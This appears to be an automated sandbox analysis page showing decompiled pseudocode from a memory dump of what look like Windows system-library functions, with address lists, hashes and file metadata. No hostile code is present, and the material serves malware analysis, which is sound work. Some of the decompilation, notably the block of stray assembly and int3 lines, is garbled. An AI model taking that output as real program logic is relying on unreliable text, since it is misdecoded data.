						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L03C9DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E03C8B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E03C8B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E03C8E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E03C8A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x03c4b171
0x03c4b171
0x03c4b171
0x03c4b171
0x03c4b171
0x03c4b176
0x03c4b17b
0x03c4b180
0x03c4b186
0x03c4b18f
0x03c4b198
0x03c4b1a4
0x03c4b1aa
0x03ca4802
0x03ca4802
0x03ca4805
0x03ca480c
0x03ca480e
0x03c4b1d1
0x03c4b1d3
0x03c4b1de
0x03c4b1de
0x03ca4817
0x03ca481e
0x03ca4820
0x03ca4822
0x03ca4822
0x03ca4824
0x03ca4824
0x03ca482a
0x00000000
0x00000000
0x03ca4835
0x03ca483a
0x03ca483d
0x03ca483f
0x03ca4842
0x03ca4842
0x03ca4842
0x03ca4846
0x03ca484c
0x03ca484e
0x03ca4851
0x03ca4851
0x03ca4853
0x03ca4854
0x03ca4854
0x03ca4858
0x03ca485a
0x03ca485a
0x03ca485d
0x03ca485f
0x03ca4861
0x03ca4861
0x03ca4866
0x03ca486b
0x03ca486e
0x03ca4871
0x03ca4876
0x03ca4876
0x03ca4878
0x03ca487b
0x03ca4884
0x03ca4884
0x00000000
0x03ca487d
0x03ca487d
0x03ca4882
0x03ca4889
0x03ca4889
0x03ca488f
0x03ca4891
0x03ca48e0
0x03ca48e2
0x03ca48e4
0x03ca48e4
0x03ca48e7
0x03ca48e7
0x03ca48ed
0x03ca48f4
0x03ca48f6
0x03ca4951
0x03ca4951
0x03ca4953
0x03ca4953
0x03ca4956
0x03ca4956
0x03ca4958
0x03ca4959
0x03ca4959
0x03ca495d
0x03ca495d
0x03ca495f
0x03ca495f
0x03ca4965
0x03ca4969
0x03ca49ba
0x03ca49ba
0x03ca49c1
0x03ca49c5
0x03ca49cc
0x03ca49d4
0x03ca49d7
0x03ca49da
0x03ca49e4
0x03ca49e5
0x03ca49f3
0x03ca4a02
0x00000000
0x03ca4a02
0x03ca4972
0x03ca4974
0x00000000
0x00000000
0x03ca4976
0x03ca4979
0x03ca4982
0x03ca4983
0x03ca4984
0x03ca498b
0x03ca498d
0x03ca4991
0x03ca4993
0x03ca4999
0x03ca499d
0x03ca49a2
0x03ca49a2
0x03ca49a2
0x03ca4999
0x03ca49ac
0x00000000
0x03ca49b3
0x03ca48f8
0x03ca48fe
0x00000000
0x00000000
0x00000000
0x03ca48fe
0x03ca4895
0x03ca489c
0x03ca48ad
0x03ca48b2
0x03ca48b5
0x03ca48b7
0x03ca48ba
0x03ca48bc
0x03ca48c6
0x03ca48c6
0x03ca48cb
0x03ca48d1
0x03ca48d4
0x03ca48d8
0x03ca48d8
0x00000000
0x03ca48d8
0x03ca48be
0x03ca48c0
0x00000000
0x00000000
0x03ca48c2
0x00000000
0x00000000
0x00000000
0x03ca48c4
0x00000000
0x03ca4882
0x03ca487b
0x03ca4904
0x03ca4906
0x00000000
0x00000000
0x03ca4908
0x03ca490e
0x00000000
0x00000000
0x03ca4910
0x03ca4917
0x03ca4917
0x00000000
0x03ca4917
0x03c4b1ba
0x03ca47f9
0x03ca47fc
0x00000000
0x00000000
0x00000000
0x03ca47fc
0x03c4b1c0
0x03c4b1c0
0x03c4b1c3
0x03c4b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 03CA48AD

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: b24ba16cddaaf42bcb8ac0816eec1bbfa2c45283395c2a56f7bc5b20b12eabbc
Instruction ID: c21963f330eeaf17f882905d2b49c453465e29f8cb30d8be60db34ee11f5bf89
Opcode Fuzzy Hash: b24ba16cddaaf42bcb8ac0816eec1bbfa2c45283395c2a56f7bc5b20b12eabbc
Instruction Fuzzy Hash: 69510476D0465A8EDF38CF79C844BAEBBB4AF00718F1541A9D859EF381C3B14A45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03C72581, Relevance: 1.6, Strings: 1, Instructions: 329
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E03C72581(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, signed int _a4, char _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, intOrPtr _a35, char _a1530201027) {
				signed int _v8;
				signed int _v16;
				unsigned int _v24;
				void* _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v37;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _t229;
				signed int _t233;
				void* _t235;
				signed int _t240;
				signed int _t242;
				intOrPtr _t244;
				signed int _t247;
				signed int _t254;
				signed int _t257;
				signed int _t265;
				signed int _t271;
				signed int _t273;
				intOrPtr* _t276;
				intOrPtr* _t278;
				signed int _t279;
				unsigned int _t282;
				signed int _t286;
				signed int _t288;
				signed int _t292;
				intOrPtr _t305;
				signed int _t314;
				signed int _t316;
				void* _t317;
				signed int _t318;
				signed int _t322;
				signed int _t323;
				void* _t326;
				signed int _t327;
				signed int _t329;
				signed int _t331;
				void* _t332;

				_t329 = _t331;
				_t332 = _t331 - 0x4c;
				_v8 =  *0x3d3d360 ^ _t329;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t322 = 0x3d3b2e8;
				_v56 = _a4;
				_v48 = __edx;
				_v60 = __ecx;
				_t282 = 0;
				_v80 = 0;
				asm("movsd");
				_v64 = 0;
				_v76 = 0;
				_v72 = 0;
				asm("movsd");
				_v44 = 0;
				_v52 = 0;
				_v68 = 0;
				asm("movsd");
				_v32 = 0;
				_v36 = 0;
				asm("movsd");
				_v16 = 0;
				_t271 = 0x48;
				_t302 = 0 | (_v24 >> 0x0000001c & 0x00000003) == 0x00000001;
				_t314 = 0;
				_v37 = _t302;
				if(_v48 <= 0) {
					L16:
					_t45 = _t271 - 0x48; // 0x0
					__eflags = _t45 - 0xfffe;
					if(_t45 > 0xfffe) {
						_t323 = 0xc0000106;
						goto L32;
					} else {
						_t322 = L03C64620(_t282,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t271);
						_v52 = _t322;
						__eflags = _t322;
						if(_t322 == 0) {
							_t323 = 0xc0000017;
							goto L32;
						} else {
							 *(_t322 + 0x44) =  *(_t322 + 0x44) & 0x00000000;
							_t50 = _t322 + 0x48; // 0x48
							_t316 = _t50;
							_t302 = _v32;
							 *(_t322 + 0x3c) = _t271;
							_t273 = 0;
							 *((short*)(_t322 + 0x30)) = _v48;
							__eflags = _t302;
							if(_t302 != 0) {
								 *(_t322 + 0x18) = _t316;
								__eflags = _t302 - 0x3d38478;
								 *_t322 = ((0 | _t302 == 0x03d38478) - 0x00000001 & 0xfffffffb) + 7;
								E03C8F3E0(_t316,  *((intOrPtr*)(_t302 + 4)),  *_t302 & 0x0000ffff);
								_t302 = _v32;
								_t332 = _t332 + 0xc;
								_t273 = 1;
								__eflags = _a8;
								_t316 = _t316 + (( *_t302 & 0x0000ffff) >> 1) * 2;
								if(_a8 != 0) {
									_t265 = E03CD39F2(_t316);
									_t302 = _v32;
									_t316 = _t265;
								}
							}
							_t286 = 0;
							_v16 = 0;
							__eflags = _v48;
							if(_v48 <= 0) {
								L31:
								_t323 = _v68;
								__eflags = 0;
								 *((short*)(_t316 - 2)) = 0;
								goto L32;
							} else {
								_t271 = _t322 + _t273 * 4;
								_v56 = _t271;
								do {
									__eflags = _t302;
									if(_t302 != 0) {
										_t229 =  *(_v60 + _t286 * 4);
										__eflags = _t229;
										if(_t229 == 0) {
											goto L30;
										} else {
											__eflags = _t229 == 5;
											if(_t229 == 5) {
												goto L30;
											} else {
												goto L22;
											}
										}
									} else {
										L22:
										 *_t271 =  *(_v60 + _t286 * 4);
										 *(_t271 + 0x18) = _t316;
										_t233 =  *(_v60 + _t286 * 4);
										__eflags = _t233 - 8;
										if(_t233 > 8) {
											goto L56;
										} else {
											switch( *((intOrPtr*)(_t233 * 4 +  &M03C72959))) {
												case 0:
													__ax =  *0x3d38488;
													__eflags = __ax;
													if(__ax == 0) {
														goto L29;
													} else {
														__ax & 0x0000ffff = E03C8F3E0(__edi,  *0x3d3848c, __ax & 0x0000ffff);
														__eax =  *0x3d38488 & 0x0000ffff;
														goto L26;
													}
													goto L108;
												case 1:
													L45:
													E03C8F3E0(_t316, _v80, _v64);
													_t260 = _v64;
													goto L26;
												case 2:
													 *0x3d38480 & 0x0000ffff = E03C8F3E0(__edi,  *0x3d38484,  *0x3d38480 & 0x0000ffff);
													__eax =  *0x3d38480 & 0x0000ffff;
													__eax = ( *0x3d38480 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													goto L28;
												case 3:
													__eax = _v44;
													__eflags = __eax;
													if(__eax == 0) {
														goto L29;
													} else {
														__esi = __eax + __eax;
														__eax = E03C8F3E0(__edi, _v72, __esi);
														__edi = __edi + __esi;
														__esi = _v52;
														goto L27;
													}
													goto L108;
												case 4:
													_push(0x2e);
													_pop(__eax);
													 *(__esi + 0x44) = __edi;
													 *__edi = __ax;
													__edi = __edi + 4;
													_push(0x3b);
													_pop(__eax);
													 *(__edi - 2) = __ax;
													goto L29;
												case 5:
													__eflags = _v36;
													if(_v36 == 0) {
														goto L45;
													} else {
														E03C8F3E0(_t316, _v76, _v36);
														_t260 = _v36;
													}
													L26:
													_t332 = _t332 + 0xc;
													_t316 = _t316 + (_t260 >> 1) * 2 + 2;
													__eflags = _t316;
													L27:
													_push(0x3b);
													_pop(_t262);
													 *((short*)(_t316 - 2)) = _t262;
													goto L28;
												case 6:
													__ebx =  *0x3d3575c;
													__eflags = __ebx - 0x3d3575c;
													if(__ebx != 0x3d3575c) {
														_push(0x3b);
														_pop(__esi);
														do {
															 *(__ebx + 8) & 0x0000ffff = __ebx + 0xa;
															E03C8F3E0(__edi, __ebx + 0xa,  *(__ebx + 8) & 0x0000ffff) =  *(__ebx + 8) & 0x0000ffff;
															__eax = ( *(__ebx + 8) & 0x0000ffff) >> 1;
															__edi = __edi + __eax * 2;
															__edi = __edi + 2;
															 *(__edi - 2) = __si;
															__ebx =  *__ebx;
															__eflags = __ebx - 0x3d3575c;
														} while (__ebx != 0x3d3575c);
														__esi = _v52;
														__ecx = _v16;
														__edx = _v32;
													}
													__ebx = _v56;
													goto L29;
												case 7:
													 *0x3d38478 & 0x0000ffff = E03C8F3E0(__edi,  *0x3d3847c,  *0x3d38478 & 0x0000ffff);
													__eax =  *0x3d38478 & 0x0000ffff;
													__eax = ( *0x3d38478 & 0x0000ffff) >> 1;
													__eflags = _a8;
													__edi = __edi + __eax * 2;
													if(_a8 != 0) {
														__ecx = __edi;
														__eax = E03CD39F2(__ecx);
														__edi = __eax;
													}
													goto L28;
												case 8:
													__eax = 0;
													 *(__edi - 2) = __ax;
													 *0x3d36e58 & 0x0000ffff = E03C8F3E0(__edi,  *0x3d36e5c,  *0x3d36e58 & 0x0000ffff);
													 *(__esi + 0x38) = __edi;
													__eax =  *0x3d36e58 & 0x0000ffff;
													__eax = ( *0x3d36e58 & 0x0000ffff) >> 1;
													__edi = __edi + __eax * 2;
													__edi = __edi + 2;
													L28:
													_t286 = _v16;
													_t302 = _v32;
													L29:
													_t271 = _t271 + 4;
													__eflags = _t271;
													_v56 = _t271;
													goto L30;
											}
										}
									}
									goto L108;
									L30:
									_t286 = _t286 + 1;
									_v16 = _t286;
									__eflags = _t286 - _v48;
								} while (_t286 < _v48);
								goto L31;
							}
						}
					}
				} else {
					while(1) {
						L1:
						_t233 =  *(_v60 + _t314 * 4);
						if(_t233 > 8) {
							break;
						}
						switch( *((intOrPtr*)(_t233 * 4 +  &M03C72935))) {
							case 0:
								__ax =  *0x3d38488;
								__eflags = __ax;
								if(__ax != 0) {
									__eax = __ax & 0x0000ffff;
									__ebx = __ebx + 2;
									__eflags = __ebx;
									goto L53;
								}
								goto L14;
							case 1:
								L44:
								_t302 =  &_v64;
								_v80 = E03C72E3E(0,  &_v64);
								_t271 = _t271 + _v64 + 2;
								goto L13;
							case 2:
								__eax =  *0x3d38480 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x3d38480;
									goto L80;
								}
								goto L14;
							case 3:
								__eax = E03C5EEF0(0x3d379a0);
								__eax =  &_v44;
								_push(__eax);
								_push(0);
								_push(0);
								_push(4);
								_push(L"PATH");
								_push(0);
								L57();
								__esi = __eax;
								_v68 = __esi;
								__eflags = __esi - 0xc0000023;
								if(__esi != 0xc0000023) {
									L10:
									__eax = E03C5EB70(__ecx, 0x3d379a0);
									__eflags = __esi - 0xc0000100;
									if(__esi == 0xc0000100) {
										_v44 = _v44 & 0x00000000;
										__eax = 0;
										_v68 = 0;
										goto L13;
									} else {
										__eflags = __esi;
										if(__esi < 0) {
											L32:
											_t207 = _v72;
											__eflags = _t207;
											if(_t207 != 0) {
												L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t207);
											}
											_t208 = _v52;
											__eflags = _t208;
											if(_t208 != 0) {
												__eflags = _t323;
												if(_t323 < 0) {
													L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t208);
													_t208 = 0;
												}
											}
											goto L36;
										} else {
											__eax = _v44;
											__ebx = __ebx + __eax * 2;
											__ebx = __ebx + 2;
											__eflags = __ebx;
											L13:
											_t282 = _v36;
											goto L14;
										}
									}
								} else {
									__eax = _v44;
									__ecx =  *0x3d37b9c; // 0x0
									_v44 + _v44 =  *[fs:0x30];
									__ecx = __ecx + 0x180000;
									__eax = L03C64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), __ecx,  *[fs:0x30]);
									_v72 = __eax;
									__eflags = __eax;
									if(__eax == 0) {
										__eax = E03C5EB70(__ecx, 0x3d379a0);
										__eax = _v52;
										L36:
										_pop(_t315);
										_pop(_t324);
										__eflags = _v8 ^ _t329;
										_pop(_t272);
										return E03C8B640(_t208, _t272, _v8 ^ _t329, _t302, _t315, _t324);
									} else {
										__ecx =  &_v44;
										_push(__ecx);
										_push(_v44);
										_push(__eax);
										_push(4);
										_push(L"PATH");
										_push(0);
										L57();
										__esi = __eax;
										_v68 = __eax;
										goto L10;
									}
								}
								goto L108;
							case 4:
								__ebx = __ebx + 4;
								goto L14;
							case 5:
								_t267 = _v56;
								if(_v56 != 0) {
									_t302 =  &_v36;
									_t269 = E03C72E3E(_t267,  &_v36);
									_t282 = _v36;
									_v76 = _t269;
								}
								if(_t282 == 0) {
									goto L44;
								} else {
									_t271 = _t271 + 2 + _t282;
								}
								goto L14;
							case 6:
								__eax =  *0x3d35764 & 0x0000ffff;
								goto L53;
							case 7:
								__eax =  *0x3d38478 & 0x0000ffff;
								__ebx = __ebx + __eax;
								__eflags = _a8;
								if(_a8 != 0) {
									__ebx = __ebx + 0x16;
									__ebx = __ebx + __eax;
								}
								__eflags = __dl;
								if(__dl != 0) {
									__eax = 0x3d38478;
									L80:
									_v32 = __eax;
								}
								goto L14;
							case 8:
								__eax =  *0x3d36e58 & 0x0000ffff;
								__eax = ( *0x3d36e58 & 0x0000ffff) + 2;
								L53:
								__ebx = __ebx + __eax;
								L14:
								_t314 = _t314 + 1;
								if(_t314 >= _v48) {
									goto L16;
								} else {
									_t302 = _v37;
									goto L1;
								}
								goto L108;
						}
					}
					L56:
					asm("int 0x29");
					asm("out 0x28, al");
					 *_t271 = 0x3c72866;
					asm("loopne 0x29");
					 *_t271 = 0x3c7262e;
					_t276 = 0x25;
					asm("retf");
					asm("retf");
					_t235 = _t233 +  *0x1f03c726 +  *((intOrPtr*)(_t302 +  *((intOrPtr*)(_t233 +  *0x1f03c726 +  &_a1530201027))));
					_t317 = _t316 - _t235;
					asm("daa");
					 *_t276 = 0x3c7281e;
					_t326 = _t322 + 1 - 1;
					_t278 = _t276 - _t235 +  *((intOrPtr*)(_t235 - 0x9fc38d8)) + _a35;
					 *_t278 = 0x3cb5bd8;
					 *_t278 = 0x3cb5c34;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(0x20);
					_push(0x3d1ff00);
					E03C9D08C(_t278, _t317, _t326);
					_v44 =  *[fs:0x18];
					_t318 = 0;
					 *_a24 = 0;
					_t279 = _a12;
					__eflags = _t279;
					if(_t279 == 0) {
						_t240 = 0xc0000100;
					} else {
						_v8 = 0;
						_t327 = 0xc0000100;
						_v52 = 0xc0000100;
						_t242 = 4;
						while(1) {
							_v40 = _t242;
							__eflags = _t242;
							if(_t242 == 0) {
								break;
							}
							_t292 = _t242 * 0xc;
							_v48 = _t292;
							__eflags = _t279 -  *((intOrPtr*)(_t292 + 0x3c21664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t257 = E03C8E5C0(_a8,  *((intOrPtr*)(_t292 + 0x3c21668)), _t279);
									_t332 = _t332 + 0xc;
									__eflags = _t257;
									if(__eflags == 0) {
										_t327 = E03CC51BE(_t279,  *((intOrPtr*)(_v48 + 0x3c2166c)), _a16, _t318, _t327, __eflags, _a20, _a24);
										_v52 = _t327;
										break;
									} else {
										_t242 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t242 = _t242 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t327;
						__eflags = _t327;
						if(_t327 < 0) {
							__eflags = _t327 - 0xc0000100;
							if(_t327 == 0xc0000100) {
								_t288 = _a4;
								__eflags = _t288;
								if(_t288 != 0) {
									_v36 = _t288;
									__eflags =  *_t288 - _t318;
									if( *_t288 == _t318) {
										_t327 = 0xc0000100;
										goto L76;
									} else {
										_t305 =  *((intOrPtr*)(_v44 + 0x30));
										_t244 =  *((intOrPtr*)(_t305 + 0x10));
										__eflags =  *((intOrPtr*)(_t244 + 0x48)) - _t288;
										if( *((intOrPtr*)(_t244 + 0x48)) == _t288) {
											__eflags =  *(_t305 + 0x1c);
											if( *(_t305 + 0x1c) == 0) {
												L106:
												_t327 = E03C72AE4( &_v36, _a8, _t279, _a16, _a20, _a24);
												_v32 = _t327;
												__eflags = _t327 - 0xc0000100;
												if(_t327 != 0xc0000100) {
													goto L69;
												} else {
													_t318 = 1;
													_t288 = _v36;
													goto L75;
												}
											} else {
												_t247 = E03C56600( *(_t305 + 0x1c));
												__eflags = _t247;
												if(_t247 != 0) {
													goto L106;
												} else {
													_t288 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t327 = E03C72C50(_t288, _a8, _t279, _a16, _a20, _a24, _t318);
											L76:
											_v32 = _t327;
											goto L69;
										}
									}
									goto L108;
								} else {
									E03C5EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t327 = _a24;
									_t254 = E03C72AE4( &_v36, _a8, _t279, _a16, _a20, _t327);
									_v32 = _t254;
									__eflags = _t254 - 0xc0000100;
									if(_t254 == 0xc0000100) {
										_v32 = E03C72C50(_v36, _a8, _t279, _a16, _a20, _t327, 1);
									}
									_v8 = _t318;
									E03C72ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t240 = _t327;
					}
					L70:
					return E03C9D0D1(_t240);
				}
				L108:
			}

0x03c72584
0x03c72586
0x03c72590
0x03c72596
0x03c72597
0x03c72598
0x03c72599
0x03c7259e
0x03c725a4
0x03c725a9
0x03c725ac
0x03c725ae
0x03c725b1
0x03c725b2
0x03c725b5
0x03c725b8
0x03c725bb
0x03c725bc
0x03c725bf
0x03c725c2
0x03c725c5
0x03c725c6
0x03c725cb
0x03c725ce
0x03c725d8
0x03c725dd
0x03c725de
0x03c725e1
0x03c725e3
0x03c725e9
0x03c726da
0x03c726da
0x03c726dd
0x03c726e2
0x03cb5b56
0x00000000
0x03c726e8
0x03c726f9
0x03c726fb
0x03c726fe
0x03c72700
0x03cb5b60
0x00000000
0x03c72706
0x03c72706
0x03c7270a
0x03c7270a
0x03c7270d
0x03c72713
0x03c72716
0x03c72718
0x03c7271c
0x03c7271e
0x03cb5b6c
0x03cb5b6f
0x03cb5b7f
0x03cb5b89
0x03cb5b8e
0x03cb5b93
0x03cb5b96
0x03cb5b9c
0x03cb5ba0
0x03cb5ba3
0x03cb5bab
0x03cb5bb0
0x03cb5bb3
0x03cb5bb3
0x03cb5ba3
0x03c72724
0x03c72726
0x03c72729
0x03c7272c
0x03c7279d
0x03c7279d
0x03c727a0
0x03c727a2
0x00000000
0x03c7272e
0x03c7272e
0x03c72731
0x03c72734
0x03c72734
0x03c72736
0x03cb5bc1
0x03cb5bc1
0x03cb5bc4
0x00000000
0x03cb5bca
0x03cb5bca
0x03cb5bcd
0x00000000
0x03cb5bd3
0x00000000
0x03cb5bd3
0x03cb5bcd
0x03c7273c
0x03c7273c
0x03c72742
0x03c72747
0x03c7274a
0x03c7274d
0x03c72750
0x00000000
0x03c72756
0x03c72756
0x00000000
0x03c72902
0x03c72908
0x03c7290b
0x00000000
0x03c72911
0x03c7291c
0x03c72921
0x00000000
0x03c72921
0x00000000
0x00000000
0x03c72880
0x03c72887
0x03c7288c
0x00000000
0x00000000
0x03c72805
0x03c7280a
0x03c72814
0x03c72816
0x00000000
0x00000000
0x03c7281e
0x03c72821
0x03c72823
0x00000000
0x03c72829
0x03c72829
0x03c72831
0x03c7283c
0x03c7283e
0x00000000
0x03c7283e
0x00000000
0x00000000
0x03c7284e
0x03c72850
0x03c72851
0x03c72854
0x03c72857
0x03c7285a
0x03c7285c
0x03c7285d
0x00000000
0x00000000
0x03c7275d
0x03c72761
0x00000000
0x03c72767
0x03c7276e
0x03c72773
0x03c72773
0x03c72776
0x03c72778
0x03c7277e
0x03c7277e
0x03c72781
0x03c72781
0x03c72783
0x03c72784
0x00000000
0x00000000
0x03cb5bd8
0x03cb5bde
0x03cb5be4
0x03cb5be6
0x03cb5be8
0x03cb5be9
0x03cb5bee
0x03cb5bf8
0x03cb5bff
0x03cb5c01
0x03cb5c04
0x03cb5c07
0x03cb5c0b
0x03cb5c0d
0x03cb5c0d
0x03cb5c15
0x03cb5c18
0x03cb5c1b
0x03cb5c1b
0x03cb5c1e
0x00000000
0x00000000
0x03c728c3
0x03c728c8
0x03c728d2
0x03c728d4
0x03c728d8
0x03c728db
0x03cb5c26
0x03cb5c28
0x03cb5c2d
0x03cb5c2d
0x00000000
0x00000000
0x03cb5c34
0x03cb5c36
0x03cb5c49
0x03cb5c4e
0x03cb5c54
0x03cb5c5b
0x03cb5c5d
0x03cb5c60
0x03c72788
0x03c72788
0x03c7278b
0x03c7278e
0x03c7278e
0x03c7278e
0x03c72791
0x00000000
0x00000000
0x03c72756
0x03c72750
0x00000000
0x03c72794
0x03c72794
0x03c72795
0x03c72798
0x03c72798
0x00000000
0x03c72734
0x03c7272c
0x03c72700
0x03c725ef
0x03c725ef
0x03c725ef
0x03c725f2
0x03c725f8
0x00000000
0x00000000
0x03c725fe
0x00000000
0x03c728e6
0x03c728ec
0x03c728ef
0x03c728f5
0x03c728f8
0x03c728f8
0x00000000
0x03c728f8
0x00000000
0x00000000
0x03c72866
0x03c72866
0x03c72876
0x03c72879
0x00000000
0x00000000
0x03c727e0
0x03c727e7
0x03c727e9
0x03c727eb
0x03cb5afd
0x00000000
0x03cb5afd
0x00000000
0x00000000
0x03c72633
0x03c72638
0x03c7263b
0x03c7263c
0x03c7263e
0x03c72640
0x03c72642
0x03c72647
0x03c72649
0x03c7264e
0x03c72650
0x03c72653
0x03c72659
0x03c726a2
0x03c726a7
0x03c726ac
0x03c726b2
0x03cb5b11
0x03cb5b15
0x03cb5b17
0x00000000
0x03c726b8
0x03c726b8
0x03c726ba
0x03c727a6
0x03c727a6
0x03c727a9
0x03c727ab
0x03c727b9
0x03c727b9
0x03c727be
0x03c727c1
0x03c727c3
0x03c727c5
0x03c727c7
0x03cb5c74
0x03cb5c79
0x03cb5c79
0x03c727c7
0x00000000
0x03c726c0
0x03c726c0
0x03c726c3
0x03c726c6
0x03c726c6
0x03c726c9
0x03c726c9
0x00000000
0x03c726c9
0x03c726ba
0x03c7265b
0x03c7265b
0x03c7265e
0x03c72667
0x03c7266d
0x03c72677
0x03c7267c
0x03c7267f
0x03c72681
0x03cb5b49
0x03cb5b4e
0x03c727cd
0x03c727d0
0x03c727d1
0x03c727d2
0x03c727d4
0x03c727dd
0x03c72687
0x03c72687
0x03c7268a
0x03c7268b
0x03c7268e
0x03c7268f
0x03c72691
0x03c72696
0x03c72698
0x03c7269d
0x03c7269f
0x00000000
0x03c7269f
0x03c72681
0x00000000
0x00000000
0x03c72846
0x00000000
0x00000000
0x03c72605
0x03c7260a
0x03c7260c
0x03c72611
0x03c72616
0x03c72619
0x03c72619
0x03c7261e
0x00000000
0x03c72624
0x03c72627
0x03c72627
0x00000000
0x00000000
0x03cb5b1f
0x00000000
0x00000000
0x03c72894
0x03c7289b
0x03c7289d
0x03c728a1
0x03cb5b2b
0x03cb5b2e
0x03cb5b2e
0x03c728a7
0x03c728a9
0x03cb5b04
0x03cb5b09
0x03cb5b09
0x03cb5b09
0x00000000
0x00000000
0x03cb5b35
0x03cb5b3c
0x03c728fb
0x03c728fb
0x03c726cc
0x03c726cc
0x03c726d0
0x00000000
0x03c726d2
0x03c726d2
